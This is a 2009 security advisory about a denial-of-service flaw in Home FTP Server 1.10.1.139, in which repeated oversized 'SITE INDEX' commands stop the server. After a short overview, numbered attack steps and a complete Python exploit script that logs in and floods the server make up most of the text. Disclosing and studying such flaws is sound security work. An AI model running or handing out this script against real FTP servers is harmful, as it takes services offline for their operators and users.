Date of Discovery: 16-Nov-2009
Credits:zhangmc[at]mail.ustc.edu.cn
Vendor: Ari Pikivirta
http://downstairs.dnsalias.net/homeftpserver.html
Affected:
Home FTP Server 1.10.1.139
Earlier versions may also be affected
Overview:
Home FTP Server FTP Server is an easy use FTP server Application. Denial of service
vulnerability exists in Home FTP Server that causes the application to stop service when we
send multiple irregular "SITE INDEX" commands to the server.
Details:
If you could log on the server successfully, take the following steps and the application
will stop service:
1.sock.connect((hostname, 21))
2.sock.send("user %s\r\n" %username)
3.sock.send("pass %s\r\n" %passwd)
4.for i in range(1,20):
sock.send("SITE INDEX "+ "a"*30*i +"\r\n")
5.sock.close()
Severity:
High
Exploit example:
#!/usr/bin/python
import socket
import sys
def Usage():
print ("Usage: ./expl.py <serv_ip> <Username> <password>\n")
print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n")
if len(sys.argv) <> 4:
Usage()
sys.exit(1)
else:
hostname=sys.argv[1]
username=sys.argv[2]
passwd=sys.argv[3]
test_string="a"*30
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
for i in range(1,30):
try:
sock.connect((hostname, 21))
except:
print ("Connection error!")
sys.exit(1)
r=sock.recv(1024)
print "[+] "+ r
sock.send("user %s\r\n" %username)
print "[-] "+ ("user %s\r\n" %username)
r=sock.recv(1024)
print "[+] "+ r
sock.send("pass %s\r\n" %passwd)
print "[-] "+ ("pass %s\r\n" %passwd)
r=sock.recv(1024)
print "[+] "+ r
for i in range(1,20):
sock.send("SITE INDEX "+ test_string*i +"\r\n")
print "[-] "+ ("SITE INDEX "+ test_string +"\r\n")
r=sock.recv(1024)
print "[+] "+ r
sock.close()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sys.exit(0);
